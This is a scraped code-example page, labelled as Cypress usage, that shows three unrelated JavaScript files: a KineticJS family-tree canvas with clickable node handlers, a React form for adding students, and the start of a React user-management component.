How to use addHandle method in Cypress

Best JavaScript code snippet using cypress

tree.js

Source:tree.js Github

copy

Full Screen

...27      images[src].src = sources[src];28    }29}30//-------------------------31function addHandle(img, id) {32    var layer = img.getLayer();33    img.on("dragmove", function() {34        //console.log("dragmove");35        //update(img,this);36        layer.draw();37    });38    img.on("dragend", function() {39        //console.log("dragend");40        layer.draw();41    });42    img.on("dragstart", function() {43        //console.log("dragstart");44        this.moveToTop();45    });46    img.on("mouseover", function() {47        //console.log("mouseover");48        document.body.style.cursor = "pointer";49        layer.draw();50    });51    img.on("mouseout", function() {52        //console.log("mouseout");53        document.body.style.cursor = "default";54        layer.draw();55    });56    img.on("mousedown touchstart", function() {57        //console.log("mousedown touchstart");58        this.moveToTop();59    });60    img.on("click touchend", function() {61        if(imageDraggable == true){62            console.log("x=" + img.getX());63            console.log("y=" + img.getY());64            console.log("id=" + id);65        }66        //console.log("click touchend");67        ShowHistory(id);68    });69}70//-------------------------71function update(group, activeAnchor) {72    var topLeft = group.get(".topLeft")[0];73    var topRight = group.get(".topRight")[0];74    var bottomRight = group.get(".bottomRight")[0];75    var bottomLeft = group.get(".bottomLeft")[0];76    var image = group.get(".image")[0];77    var circles = group.get(".circle");78    // update anchor positions79    switch (activeAnchor.getName()) {80      case "topLeft":81        topRight.attrs.y = activeAnchor.attrs.y;82        bottomLeft.attrs.x = activeAnchor.attrs.x;83        break;84      case "topRight":85        topLeft.attrs.y = activeAnchor.attrs.y;86        bottomRight.attrs.x = activeAnchor.attrs.x;87        break;88      case "bottomRight":89        bottomLeft.attrs.y = activeAnchor.attrs.y;90        topRight.attrs.x = activeAnchor.attrs.x;91        break;92      case "bottomLeft":93        bottomRight.attrs.y = activeAnchor.attrs.y;94        topLeft.attrs.x = activeAnchor.attrs.x;95        break;96    }97    var scaleX = 1;98    var scaleY = 1;99    var newWidth = topRight.attrs.x - topLeft.attrs.x;100    var newHeight = bottomLeft.attrs.y - topLeft.attrs.y;101    scaleX = 1 + (newWidth - image.getWidth()) / image.getWidth();102    scaleY = 1 + (newHeight - image.getHeight()) / image.getHeight();103    var divPosX = topLeft.attrs.x - image.attrs.x;104    var divPosY = topLeft.attrs.y - image.attrs.y;105    106    image.setPosition(topLeft.attrs.x, topLeft.attrs.y);107    image.setSize(topRight.attrs.x - topLeft.attrs.x, bottomLeft.attrs.y - topLeft.attrs.y);108    //image.setScale(scaleX, scaleY);109    for(var i = 0; i < circles.length; i++) {110        circles[i].setPosition(circles[i].attrs.x+divPosX, circles[i].attrs.y+divPosY);111        circles[i].setScale(scaleX, scaleY);112    }113}114//-------------------------115function addAnchor(group, x, y, name) {116    var layer = group.getLayer();117    var anchor = new Kinetic.Circle({118      x: x,119      y: y,120      stroke: "#666",121      fill: "#ddd",122      strokeWidth: 2,123      radius: 8,124      name: name,125      draggable: true126    });127    anchor.on("dragmove", function() {128      update(group, this);129      layer.draw();130    });131    anchor.on("mousedown touchstart", function() {132      group.draggable(false);133      this.moveToTop();134    });135    anchor.on("dragend", function() {136      group.draggable(true);137      layer.draw();138    });139    // add hover styling140    anchor.on("mouseover", function() {141      var layer = this.getLayer();142      document.body.style.cursor = "pointer";143      this.setStrokeWidth(4);144      layer.draw();145    });146    anchor.on("mouseout", function() {147      var layer = this.getLayer();148      document.body.style.cursor = "default";149      this.setStrokeWidth(2);150      layer.draw();151    });152    group.add(anchor);153}154//----------------------------------------------------------------------155function initStage(images) {156    stage = new Kinetic.Stage({157      container: "container",158      width: 480,159      height: 800160    });161    var treeGroup = new Kinetic.Group({162        x: 0,163        y: 0,164        draggable: treeGroupDraggable,165        name: "treeGroup"166    });167    //---------------------------------168    var layer = new Kinetic.Layer({169        name: "layer"170    });171    layer.add(treeGroup);172    stage.add(layer);173    //---------------------------------174    var treeImg = new Kinetic.Image({175      x: 0,176      y: 0,177      image: images.tree,178      width: 480,179      height: 800,180      name: "image"181    });182    var king001Img = new Kinetic.Circle({183        x: 18+147.93,184        y: 18+428.62,185        radius: 18,186        stroke: strokeColor,187        name: "circle",188        draggable: imageDraggable,189        strokeWidth: 1190    });191    var king003Img = new Kinetic.Circle({192      x: 18+135.51,193      y: 18+473.35,194      radius: 18,195      stroke: strokeColor,196      name: "circle",197      draggable: imageDraggable,198      strokeWidth: 1199    });200    var king004Img = new Kinetic.Circle({201      x: 18+90,202      y: 18+495,203      radius: 18,204      stroke: strokeColor,205      name: "circle",206      draggable: imageDraggable,207      strokeWidth: 1208    });209    var king005Img = new Kinetic.Circle({210      x: 18+43,211      y: 18+471,212      radius: 18,213      stroke: strokeColor,214      name: "circle",215      draggable: imageDraggable,216      strokeWidth: 1217    });218    var king006Img = new Kinetic.Circle({219      x: 18+77,220      y: 18+442,221      radius: 18,222      stroke: strokeColor,223      name: "circle",224      draggable: imageDraggable,225      strokeWidth: 1226    });227    var king007Img = new Kinetic.Circle({228      x: 18+35,229      y: 18+425,230      radius: 18,231      stroke: strokeColor,232      name: "circle",233      draggable: imageDraggable,234      strokeWidth: 1235    });236    var king008Img = new Kinetic.Circle({237      x: 18+111,238      y: 18+417,239      radius: 18,240      stroke: strokeColor,241      name: "circle",242      draggable: imageDraggable,243      strokeWidth: 1244    });245    var king009Img = new Kinetic.Circle({246      x: 18+52,247      y: 18+382,248      radius: 18,249      stroke: strokeColor,250      name: "circle",251      draggable: imageDraggable,252      strokeWidth: 1253    });254    var king010Img = new Kinetic.Circle({255      x: 18+96,256      y: 18+377,257      radius: 18,258      stroke: strokeColor,259      name: "circle",260      draggable: imageDraggable,261      strokeWidth: 1262    });263    var king011Img = new Kinetic.Circle({264      x: 18+64,265      y: 18+339,266      radius: 18,267      stroke: strokeColor,268      name: "circle",269      draggable: imageDraggable,270      strokeWidth: 1271    });272    var king012Img = new Kinetic.Circle({273      x: 18+145,274      y: 18+378,275      radius: 18,276      stroke: strokeColor,277      name: "circle",278      draggable: imageDraggable,279      strokeWidth: 1280    });281    var king013Img = new Kinetic.Circle({282      x: 18+73,283      y: 18+298,284      radius: 18,285      stroke: strokeColor,286      name: "circle",287      draggable: imageDraggable,288      strokeWidth: 1289    });290    var king014Img = new Kinetic.Circle({291      x: 18+121,292      y: 18+301,293      radius: 18,294      stroke: strokeColor,295      name: "circle",296      draggable: imageDraggable,297      strokeWidth: 1298    });299    var king015Img = new Kinetic.Circle({300      x: 18+100,301      y: 18+336,302      radius: 18,303      stroke: strokeColor,304      name: "circle",305      draggable: imageDraggable,306      strokeWidth: 1307    });308    var king016Img = new Kinetic.Circle({309      x: 18+26,310      y: 18+257,311      radius: 18,312      stroke: strokeColor,313      name: "circle",314      draggable: imageDraggable,315      strokeWidth: 1316    });317    var king018Img = new Kinetic.Circle({318      x: 18+154,319      y: 18+331,320      radius: 18,321      stroke: strokeColor,322      name: "circle",323      draggable: imageDraggable,324      strokeWidth: 1325    });326    var king020Img = new Kinetic.Circle({327      x: 18+76,328      y: 18+252,329      radius: 18,330      stroke: strokeColor,331      name: "circle",332      draggable: imageDraggable,333      strokeWidth: 1334    });335    var king024Img = new Kinetic.Circle({336      x: 18+121,337      y: 18+261,338      radius: 18,339      stroke: strokeColor,340      name: "circle",341      draggable: imageDraggable,342      strokeWidth: 1343    });344    var king025Img = new Kinetic.Circle({345      x: 18+46,346      y: 18+221,347      radius: 18,348      stroke: strokeColor,349      name: "circle",350      draggable: imageDraggable,351      strokeWidth: 1352    });353    var king026Img = new Kinetic.Circle({354      x: 18+158,355      y: 18+284,356      radius: 18,357      stroke: strokeColor,358      name: "circle",359      draggable: imageDraggable,360      strokeWidth: 1361    });362    var king027Img = new Kinetic.Circle({363      x: 18+163,364      y: 18+246,365      radius: 18,366      stroke: strokeColor,367      name: "circle",368      draggable: imageDraggable,369      strokeWidth: 1370    });371    var king028Img = new Kinetic.Circle({372      x: 18+106,373      y: 18+218,374      radius: 18,375      stroke: strokeColor,376      name: "circle",377      draggable: imageDraggable,378      strokeWidth: 1379    });380    var king030Img = new Kinetic.Circle({381      x: 18+134,382      y: 18+179,383      radius: 18,384      stroke: strokeColor,385      name: "circle",386      draggable: imageDraggable,387      strokeWidth: 1388    });389    var king031Img = new Kinetic.Circle({390      x: 18+99,391      y: 18+166,392      radius: 18,393      stroke: strokeColor,394      name: "circle",395      draggable: imageDraggable,396      strokeWidth: 1397    });398    var king032Img = new Kinetic.Circle({399      x: 18+150,400      y: 18+211,401      radius: 18,402      stroke: strokeColor,403      name: "circle",404      draggable: imageDraggable,405      strokeWidth: 1406    });407    var king033Img = new Kinetic.Circle({408      x: 18+73,409      y: 18+194,410      radius: 18,411      stroke: strokeColor,412      name: "circle",413      draggable: imageDraggable,414      strokeWidth: 1415    });416    var king034Img = new Kinetic.Circle({417      x: 18+91,418      y: 18+124,419      radius: 18,420      stroke: strokeColor,421      name: "circle",422      draggable: imageDraggable,423      strokeWidth: 1424    });425    var king035Img = new Kinetic.Circle({426      x: 18+136,427      y: 18+143,428      radius: 18,429      stroke: strokeColor,430      name: "circle",431      draggable: imageDraggable,432      strokeWidth: 1433    });434    var king036Img = new Kinetic.Circle({435      x: 18+181,436      y: 18+183,437      radius: 18,438      stroke: strokeColor,439      name: "circle",440      draggable: imageDraggable,441      strokeWidth: 1442    });443    var king037Img = new Kinetic.Circle({444      x: 18+179,445      y: 18+98,446      radius: 18,447      stroke: strokeColor,448      name: "circle",449      draggable: imageDraggable,450      strokeWidth: 1451    });452    var king039Img = new Kinetic.Circle({453      x: 18+199,454      y: 18+220,455      radius: 18,456      stroke: strokeColor,457      name: "circle",458      draggable: imageDraggable,459      strokeWidth: 1460    });461    var king040Img = new Kinetic.Circle({462      x: 18+157,463      y: 18+64,464      radius: 18,465      stroke: strokeColor,466      name: "circle",467      draggable: imageDraggable,468      strokeWidth: 1469    });470    var king041Img = new Kinetic.Circle({471      x: 18+117,472      y: 18+76,473      radius: 18,474      stroke: strokeColor,475      name: "circle",476      draggable: imageDraggable,477      strokeWidth: 1478    });479    var king042Img = new Kinetic.Circle({480      x: 18+200,481      y: 18+55,482      radius: 18,483      stroke: strokeColor,484      name: "circle",485      draggable: imageDraggable,486      strokeWidth: 1487    });488    var king043Img = new Kinetic.Circle({489      x: 18+240,490      y: 18+153,491      radius: 18,492      stroke: strokeColor,493      name: "circle",494      draggable: imageDraggable,495      strokeWidth: 1496    });497    var king044Img = new Kinetic.Circle({498      x: 18+243,499      y: 18+44,500      radius: 18,501      stroke: strokeColor,502      name: "circle",503      draggable: imageDraggable,504      strokeWidth: 1505    });506    var king045Img = new Kinetic.Circle({507      x: 18+240,508      y: 18+86,509      radius: 18,510      stroke: strokeColor,511      name: "circle",512      draggable: imageDraggable,513      strokeWidth: 1514    });515    var king046Img = new Kinetic.Circle({516      x: 296.00,517      y: 75.84,518      radius: 18,519      stroke: strokeColor,520      name: "circle",521      draggable: imageDraggable,522      strokeWidth: 1523    });524    var king049Img = new Kinetic.Circle({525      x: 340.09,526      y: 103.09,527      radius: 18,528      stroke: strokeColor,529      name: "circle",530      draggable: imageDraggable,531      strokeWidth: 1532    });533    var king050Img = new Kinetic.Circle({534      x: 18+283,535      y: 18+99,536      radius: 18,537      stroke: strokeColor,538      name: "circle",539      draggable: imageDraggable,540      strokeWidth: 1541    });542    var king051Img = new Kinetic.Circle({543      x: 18+286,544      y: 18+144,545      radius: 18,546      stroke: strokeColor,547      name: "circle",548      draggable: imageDraggable,549      strokeWidth: 1550    });551    var king052Img = new Kinetic.Circle({552      x: 346.90,553      y: 147.09,554      radius: 18,555      stroke: strokeColor,556      name: "circle",557      draggable: imageDraggable,558      strokeWidth: 1559    });560    var king057Img = new Kinetic.Circle({561      x: 18+282,562      y: 18+497,563      radius: 18,564      stroke: strokeColor,565      name: "circle",566      draggable: imageDraggable,567      strokeWidth: 1568    });569    var king058Img = new Kinetic.Circle({570      x: 18+309,571      y: 18+452,572      radius: 18,573      stroke: strokeColor,574      name: "circle",575      draggable: imageDraggable,576      strokeWidth: 1577    });578    var king059Img = new Kinetic.Circle({579      x: 18+261,580      y: 18+432,581      radius: 18,582      stroke: strokeColor,583      name: "circle",584      draggable: imageDraggable,585      strokeWidth: 1586    });587    var king060Img = new Kinetic.Circle({588      x: 18+294,589      y: 18+363,590      radius: 18,591      stroke: strokeColor,592      name: "circle",593      draggable: imageDraggable,594      strokeWidth: 1595    });596    var king061Img = new Kinetic.Circle({597      x: 18+348,598      y: 18+417,599      radius: 18,600      stroke: strokeColor,601      name: "circle",602      draggable: imageDraggable,603      strokeWidth: 1604    });605    var king062Img = new Kinetic.Circle({606      x: 18+395,607      y: 18+423,608      radius: 18,609      stroke: strokeColor,610      name: "circle",611      draggable: imageDraggable,612      strokeWidth: 1613    });614    var king063Img = new Kinetic.Circle({615      x: 18+391,616      y: 18+374,617      radius: 18,618      stroke: strokeColor,619      name: "circle",620      draggable: imageDraggable,621      strokeWidth: 1622    });623    var king064Img = new Kinetic.Circle({624      x: 18+336,625      y: 18+500,626      radius: 18,627      stroke: strokeColor,628      name: "circle",629      draggable: imageDraggable,630      strokeWidth: 1631    });632    var king065Img = new Kinetic.Circle({633      x: 267,634      y: 399.09,635      radius: 18,636      stroke: strokeColor,637      name: "circle",638      draggable: imageDraggable,639      strokeWidth: 1640    });641    var king066Img = new Kinetic.Circle({642      x: 18+245,643      y: 18+274,644      radius: 18,645      stroke: strokeColor,646      name: "circle",647      draggable: imageDraggable,648      strokeWidth: 1649    });650    var king068Img = new Kinetic.Circle({651      x: 18+379,652      y: 18+303,653      radius: 18,654      stroke: strokeColor,655      name: "circle",656      draggable: imageDraggable,657      strokeWidth: 1658    });659    var king069Img = new Kinetic.Circle({660      x: 18+332,661      y: 18+318,662      radius: 18,663      stroke: strokeColor,664      name: "circle",665      draggable: imageDraggable,666      strokeWidth: 1667    });668    var king070Img = new Kinetic.Circle({669      x: 18+354,670      y: 18+265,671      radius: 18,672      stroke: strokeColor,673      name: "circle",674      draggable: imageDraggable,675      strokeWidth: 1676    });677    var king071Img = new Kinetic.Circle({678      x: 18+318,679      y: 18+242,680      radius: 18,681      stroke: strokeColor,682      name: "circle",683      draggable: imageDraggable,684      strokeWidth: 1685    });686    var king072Img = new Kinetic.Circle({687      x: 18+400,688      y: 18+256,689      radius: 18,690      stroke: strokeColor,691      name: "circle",692      draggable: imageDraggable,693      strokeWidth: 1694    });695    var king073Img = new Kinetic.Circle({696      x: 18+385,697      y: 18+211,698      radius: 18,699      stroke: strokeColor,700      name: "circle",701      draggable: imageDraggable,702      strokeWidth: 1703    });704    var king074Img = new Kinetic.Circle({705      x: 18+343,706      y: 18+195,707      radius: 18,708      stroke: strokeColor,709      name: "circle",710      draggable: imageDraggable,711      strokeWidth: 1712    });713    var king075Img = new Kinetic.Circle({714      x: 18+299,715      y: 18+200,716      radius: 18,717      stroke: strokeColor,718      name: "circle",719      draggable: imageDraggable,720      strokeWidth: 1721    });722    var king101Img = new Kinetic.Circle({723      x: 42.39,724      y: 361.90,725      radius: 18,726      stroke: strokeColor,727      name: "circle",728      draggable: imageDraggable,729      strokeWidth: 1730    });731    var king102Img = new Kinetic.Circle({732      x: 43.60,733      y: 320.43,734      radius: 18,735      stroke: strokeColor,736      name: "circle",737      draggable: imageDraggable,738      strokeWidth: 1739    });740    var king103Img = new Kinetic.Circle({741      x: 188.67,742      y: 166.07,743      radius: 18,744      stroke: strokeColor,745      name: "circle",746      draggable: imageDraggable,747      strokeWidth: 1748    });749    var king104Img = new Kinetic.Circle({750      x: 221.60,751      y: 144.12,752      radius: 18,753      stroke: strokeColor,754      name: "circle",755      draggable: imageDraggable,756      strokeWidth: 1757    });758    var king105Img = new Kinetic.Circle({759      x: 152.14,760      y: 125.31,761      radius: 18,762      stroke: strokeColor,763      name: "circle",764      draggable: imageDraggable,765      strokeWidth: 1766    });767    var king106Img = new Kinetic.Circle({768      x: 322.87,769      y: 427.75,770      radius: 18,771      stroke: strokeColor,772      name: "circle",773      draggable: imageDraggable,774      strokeWidth: 1775    });776    var king107Img = new Kinetic.Circle({777      x: 370.43,778      y: 472.87,779      radius: 18,780      stroke: strokeColor,781      name: "circle",782      draggable: imageDraggable,783      strokeWidth: 1784    });785    var king108Img = new Kinetic.Circle({786      x: 431.41,787      y: 485.07,788      radius: 18,789      stroke: strokeColor,790      name: "circle",791      draggable: imageDraggable,792      strokeWidth: 1793    });794    var king109Img = new Kinetic.Circle({795      x: 396.04,796      y: 509.46,797      radius: 18,798      stroke: strokeColor,799      name: "circle",800      draggable: imageDraggable,801      strokeWidth: 1802    });803    var king110Img = new Kinetic.Circle({804      x: 428.97,805      y: 352.14,806      radius: 18,807      stroke: strokeColor,808      name: "circle",809      draggable: imageDraggable,810      strokeWidth: 1811    });812    var king111Img = new Kinetic.Circle({813      x: 293.60,814      y: 341.17,815      radius: 18,816      stroke: strokeColor,817      name: "circle",818      draggable: imageDraggable,819      strokeWidth: 1820    });821    var king112Img = new Kinetic.Circle({822      x: 311.90,823      y: 293.60,824      radius: 18,825      stroke: strokeColor,826      name: "circle",827      draggable: imageDraggable,828      strokeWidth: 1829    });830    //---------------------------------831    treeGroup.add(treeImg);832    treeGroup.add(king001Img);833    treeGroup.add(king003Img);834    treeGroup.add(king004Img);835    treeGroup.add(king005Img);836    treeGroup.add(king006Img);837    treeGroup.add(king007Img);838    treeGroup.add(king008Img);839    treeGroup.add(king009Img);840    treeGroup.add(king010Img);841    treeGroup.add(king011Img);842    treeGroup.add(king012Img);843    treeGroup.add(king013Img);844    treeGroup.add(king014Img);845    treeGroup.add(king015Img);846    treeGroup.add(king016Img);847    treeGroup.add(king018Img);848    treeGroup.add(king020Img);849    treeGroup.add(king024Img);850    treeGroup.add(king025Img);851    treeGroup.add(king026Img);852    treeGroup.add(king027Img);853    treeGroup.add(king028Img);854    treeGroup.add(king030Img);855    treeGroup.add(king031Img);856    treeGroup.add(king032Img);857    treeGroup.add(king033Img);858    treeGroup.add(king034Img);859    treeGroup.add(king035Img);860    treeGroup.add(king036Img);861    treeGroup.add(king037Img);862    treeGroup.add(king039Img);863    treeGroup.add(king040Img);864    treeGroup.add(king041Img);865    treeGroup.add(king042Img);866    treeGroup.add(king043Img);867    treeGroup.add(king044Img);868    treeGroup.add(king045Img);869    treeGroup.add(king046Img);870    treeGroup.add(king049Img);871    treeGroup.add(king050Img);872    treeGroup.add(king051Img);873    treeGroup.add(king052Img);874    treeGroup.add(king057Img);875    treeGroup.add(king058Img);876    treeGroup.add(king059Img);877    treeGroup.add(king060Img);878    treeGroup.add(king061Img);879    treeGroup.add(king062Img);880    treeGroup.add(king063Img);881    treeGroup.add(king064Img);882    treeGroup.add(king065Img);883    treeGroup.add(king066Img);884    treeGroup.add(king068Img);885    treeGroup.add(king069Img);886    treeGroup.add(king070Img);887    treeGroup.add(king071Img);888    treeGroup.add(king072Img);889    treeGroup.add(king073Img);890    treeGroup.add(king074Img);891    treeGroup.add(king075Img);892    treeGroup.add(king101Img);893    treeGroup.add(king102Img);894    treeGroup.add(king103Img);895    treeGroup.add(king104Img);896    treeGroup.add(king105Img);897    treeGroup.add(king106Img);898    treeGroup.add(king107Img);899    treeGroup.add(king108Img);900    treeGroup.add(king109Img);901    treeGroup.add(king110Img);902    treeGroup.add(king111Img);903    treeGroup.add(king112Img);904    //---------------------------------905    //addAnchor(treeGroup, 0, 0, "topLeft");906    //addAnchor(treeGroup, 480, 0, "topRight");907    //addAnchor(treeGroup, 480, 800, "bottomRight");908    //addAnchor(treeGroup, 0, 800, "bottomLeft");909    //---------------------------------910    treeGroup.on("dragstart", function() {911        this.moveToTop();912    });913    //-------------------------914    addHandle(king001Img,0);915    addHandle(king003Img,2);916    addHandle(king004Img,3);917    addHandle(king005Img,4);918    addHandle(king006Img,5);919    addHandle(king007Img,6);920    addHandle(king008Img,7);921    addHandle(king009Img,8);922    addHandle(king010Img,9);923    addHandle(king011Img,10);924    addHandle(king012Img,11);925    addHandle(king013Img,12);926    addHandle(king014Img,13);927    addHandle(king015Img,14);928    addHandle(king016Img,15);929    addHandle(king018Img,17);930    addHandle(king020Img,19);931    addHandle(king024Img,23);932    addHandle(king025Img,24);933    addHandle(king026Img,25);934    addHandle(king027Img,26);935    addHandle(king028Img,27);936    addHandle(king030Img,29);937    addHandle(king031Img,30);938    addHandle(king032Img,31);939    addHandle(king033Img,32);940    addHandle(king034Img,33);941    addHandle(king035Img,34);942    addHandle(king036Img,35);943    addHandle(king037Img,36);944    addHandle(king039Img,38);945    addHandle(king040Img,39);946    addHandle(king041Img,40);947    addHandle(king042Img,41);948    addHandle(king043Img,42);949    addHandle(king044Img,43);950    addHandle(king045Img,44);951    addHandle(king046Img,45);952    addHandle(king049Img,48);953    addHandle(king050Img,49);954    addHandle(king051Img,50);955    addHandle(king052Img,51);956    addHandle(king057Img,56);957    addHandle(king058Img,57);958    addHandle(king059Img,58);959    addHandle(king060Img,59);960    addHandle(king061Img,60);961    addHandle(king062Img,61);962    addHandle(king063Img,62);963    addHandle(king064Img,63);964    addHandle(king065Img,64);965    addHandle(king066Img,65);966    addHandle(king068Img,67);967    addHandle(king069Img,68);968    addHandle(king070Img,69);969    addHandle(king071Img,70);970    addHandle(king072Img,71);971    addHandle(king073Img,72);972    addHandle(king074Img,73);973    addHandle(king075Img,74);974    addHandle(king101Img,75);975    addHandle(king102Img,76);976    addHandle(king103Img,77);977    addHandle(king104Img,78);978    addHandle(king105Img,79);979    addHandle(king106Img,80);980    addHandle(king107Img,81);981    addHandle(king108Img,82);982    addHandle(king109Img,83);983    addHandle(king110Img,84);984    addHandle(king111Img,85);985    addHandle(king112Img,86);986    //-------------------------987    resizeStage();988}989//----------------------------------------------------------------------990function resizeStage() {991    if(stage != null) {992        var layer = stage.get(".layer")[0];993        stage.setSize(document.documentElement.clientWidth, document.documentElement.clientHeight);994        var scaleHeight = document.documentElement.clientHeight / 800;995        stage.setScale(scaleHeight, scaleHeight);996997        var centerX = stage.getWidth() / 2 ;998        var imageWidth = stage.getHeight() /1.666666;999        centerX = centerX - imageWidth/2;
...

Full Screen

Full Screen

NewStudentForm.js

Source:NewStudentForm.js Github

copy

Full Screen

1import React from 'react';2import SERVER_URL from '../variables/general';3import { Button, Modal, ModalHeader, ModalBody, FormFeedback, Form, Input, FormGroup, Label } from 'reactstrap';4import { toast } from 'react-toastify';5class NewStudentForm extends React.Component {6    constructor(props) {7        super(props)8        this.state = {9            utilisateurs: [],10            addusername: '',11            addpassword: '',12            addType: 'STUDENT',13            cne: '',14            email: '',15            frstname: '',16            lastname: '',17            address: '',18            phone: '',19            sexe: 'M',20            touched: {21                addusername: false,22                addpassword: false,23            }24        };25        this.addhandleInputChange = this.addhandleInputChange.bind(this);26        this.addhandleSubmit = this.addhandleSubmit.bind(this);27        this.fetchUsers = this.fetchUsers.bind(this);28        this.addvalidate = this.addvalidate.bind(this);29    }30    addhandleInputChange(event) {31        const target = event.target;32        const value = target.value;33        const name = target.name;34        this.setState({35            [name]: value36        });37    }38    addvalidate(addusername, addpassword) {39        const errors = {40            addusername: '',41            addpassword: '',42        };43        if (this.state.touched.addusername && addusername.length < 4)44            errors.addusername = 'Username should be >= 4 characters';45        if (this.state.touched.addpassword && addpassword.length < 4)46            errors.addpassword = 'password should be >=  characters';47        if (this.state.utilisateurs != null && this.state.utilisateurs.filter(utilisateur => utilisateur.username === this.state.addusername)[0])48            errors.addusername = 'username already exist';49        return errors;50    }51    componentDidMount() {52        this.fetchUsers();53    }54    // Fetch all Users55    fetchUsers = () => {56        const token = sessionStorage.getItem('jwt');57        fetch(SERVER_URL + 'users', {58            headers: { 'Authorization': token }59        })60            .then((response) => response.json())61            .then((responseData) => {62                this.setState({63                    utilisateurs: responseData,64                });65            })66            .catch(err => console.error(err));67    }68    addhandleBlur = (field) => (evt) => {69        this.setState({70            touched: { ...this.state.touched, [field]: true }71        });72    }73    addUser(user) {74        const token = sessionStorage.getItem('jwt');75        fetch(SERVER_URL + "addstudent",76            {77                method: 'POST',78                headers: {79                    'Content-Type': 'application/json',80                    'Authorization': token81                },82                body: JSON.stringify(user)83            })84            .then(res =>85                toast.success('Changes saved', {86                    position: toast.POSITION.BOTTOM_LEFT87                })88            ).then(res => this.props.fetchStudents())89            .catch(err =>90                toast.error('Error when saving', {91                    position: toast.POSITION.BOTTOM_LEFT92                })93            )94    }95    addhandleSubmit(event) {96        event.preventDefault();97        const errors = this.addvalidate(this.state.addusername, this.state.addpassword);98        if (errors.addusername === '' && errors.addpassword === '' && this.state.addusername !== '' && this.state.addpassword !== '') {99            const user = {100                username: this.state.addusername,101                password: this.state.addpassword,102                role: this.state.addType,103                frstname: this.state.frstname,104                lastname: this.state.lastname,105                address: this.state.address,106                phone: this.state.phone,107                sexe: this.state.sexe,108                cne: this.state.cne,109            };110            console.log(user);111            this.addUser(user);112            this.setState({113                addusername: '',114                addpassword: '',115                addType: 'STUDENT',116                cne: '',117                email: '',118                frstname: '',119                lastname: '',120                address: '',121                phone: '',122                sexe: 'M'123            });124            this.props.toggle();125        }126    }127    render() {128        const errors = this.addvalidate(this.state.addusername, this.state.addpassword);129        return (130            <div>131                <Modal isOpen={this.props.isOpen} toggle={this.props.toggle}>132                    <ModalHeader toggle={this.props.toggle}>Add new Student</ModalHeader>133                    <ModalBody>134                        <Form onSubmit={this.addhandleSubmit}>135                            <FormGroup>136                                <Label htmlFor="username">Username</Label>137                                <Input type="text" id="addusername" name="addusername"138                                    innerRef={(input) => this.username = input}139                                    value={this.state.addusername}140                                    valid={errors.addusername === '' && this.state.addusername !== ''}141                                    invalid={errors.addusername !== ''}142                                    onBlur={this.addhandleBlur('addusername')}143                                    onChange={this.addhandleInputChange} />144                                <FormFeedback>{errors.addusername}</FormFeedback>145                            </FormGroup>146                            <FormGroup>147                                <Label htmlFor="password">Password</Label>148                                <Input type="password" id="addpassword" name="addpassword"149                                    innerRef={(input) => this.password = input}150                                    value={this.state.addpassword}151                                    valid={errors.addpassword === '' && this.state.addpassword !== ''}152                                    invalid={errors.addpassword !== ''}153                                    onBlur={this.addhandleBlur('addpassword')}154                                    onChange={this.addhandleInputChange} />155                                <FormFeedback>{errors.addpassword}</FormFeedback>156                            </FormGroup>157                            <FormGroup>158                                <Label htmlFor="cne">CNE</Label>159                                <Input type="text" id="cne" name="cne"160                                    value={this.state.cne}161                                    onChange={this.addhandleInputChange} />162                            </FormGroup>163                            <FormGroup>164                                <Label htmlFor="frstname">Firstname</Label>165                                <Input type="text" id="frstname" name="frstname"166                                    value={this.state.frstname}167                                    onChange={this.addhandleInputChange} />168                            </FormGroup>169                            <FormGroup>170                                <Label htmlFor="lastname">Lastname</Label>171                                <Input type="text" id="lastname" name="lastname"172                                    value={this.state.lastname}173                                    onChange={this.addhandleInputChange} />174                            </FormGroup>175                            <FormGroup>176                                <Label htmlFor="address">Adress</Label>177                                <Input type="text" id="address" name="address"178                                    value={this.state.address}179                                    onChange={this.addhandleInputChange} />180                            </FormGroup>181                            <FormGroup>182                                <Label htmlFor="email">Email</Label>183                                <Input type="email" id="email" name="email"184                                    value={this.state.country}185                                    onChange={this.addhandleInputChange} />186                            </FormGroup>187                            <FormGroup>188                                <Label htmlFor="city">City</Label>189                                <Input type="text" id="addpcityassword" name="city"190                                    value={this.state.city}191                                    onChange={this.addhandleInputChange} />192                            </FormGroup>193                            <FormGroup>194                                <Label htmlFor="phone">Phone</Label>195                                <Input type="text" id="phone" name="phone"196                                    value={this.state.phone}197                                    onChange={this.addhandleInputChange} />198                            </FormGroup>199                            <FormGroup>200                                <Label htmlFor="sexe">Gender</Label>201                                <Input type="select" id="sexe" name="sexe"202                                    value={this.state.sexe}203                                    onChange={this.addhandleInputChange} >204                                <option>F</option>205                                <option>M</option>206                                </Input>207                            </FormGroup>208                            <Button type="submit" value="submit" color="primary">Ajouter</Button>209                        </Form>210                    </ModalBody>211                </Modal>212            </div>213        );214    }215}...

Full Screen

Full Screen

Utilisateurs.js

Source:Utilisateurs.js Github

copy

Full Screen

1import React from 'react';2import { Button, Modal, ModalHeader, ModalBody, FormFeedback, Form, Input, FormGroup, Label, Row, Table, Col, Card, CardHeader, CardTitle, CardBody } from 'reactstrap';3import { Link } from 'react-router-dom';4import ProfileModale from '../components/profileModla';5import SERVER_URL from '../variables/general'6class Utilisateurs extends React.Component {7    constructor(props) {8        super(props);9        this.state = {10            utilisateurs: [],11            isModalOpen: false,12            isProfilModalOpen: false,13            addusername: '',14            addpassword: '',15            addType: 'CLIENT',16            selectedUser: null,17            touched: {18                addusername: false,19                addpassword: false,20                addType: false21            }22        };23        this.addhandleSubmit = this.addhandleSubmit.bind(this);24        this.addhandleInputChange = this.addhandleInputChange.bind(this);25        this.addhandleBlur = this.addhandleBlur.bind(this);26        this.toggleModal = this.toggleModal.bind(this);27        this.checkUser = this.checkUser.bind(this);28        this.addUser = this.addUser.bind(this);29        this.profiletoggleModal = this.profiletoggleModal.bind(this);30    }31    addhandleInputChange(event) {32        const target = event.target;33        const value = target.value;34        const name = target.name;35        this.setState({36            [name]: value37        });38    }39    addhandleSubmit(event) {40        event.preventDefault();41        console.log("Current State is:" + JSON.stringify(this.state))42        const errors = this.addvalidate(this.state.addusername, this.state.addpassword);43        if (errors.addusername === '' && errors.addpassword === '' && this.state.addusername !== '' && this.state.addpassword !== ''){44        const user = {username : this.state.addusername,password : this.state.addpassword , role: this.state.addType};45        console.log(user);46        this.addUser(user);47        this.toggleModal();48        this.setState({49            addusername : '',50            addpassword : '' ,51            addType: 'USER'52        });53    }54    }55    addUser(user) {56        const token = sessionStorage.getItem('jwt');57        fetch(SERVER_URL+"adduser",58            {59                method: 'POST',60                headers: {61                    'Content-Type': 'application/json',62                    'Authorization': token63                },64                body: JSON.stringify(user)65            })66            .then(res => this.fetchUsers())67            .catch(err => 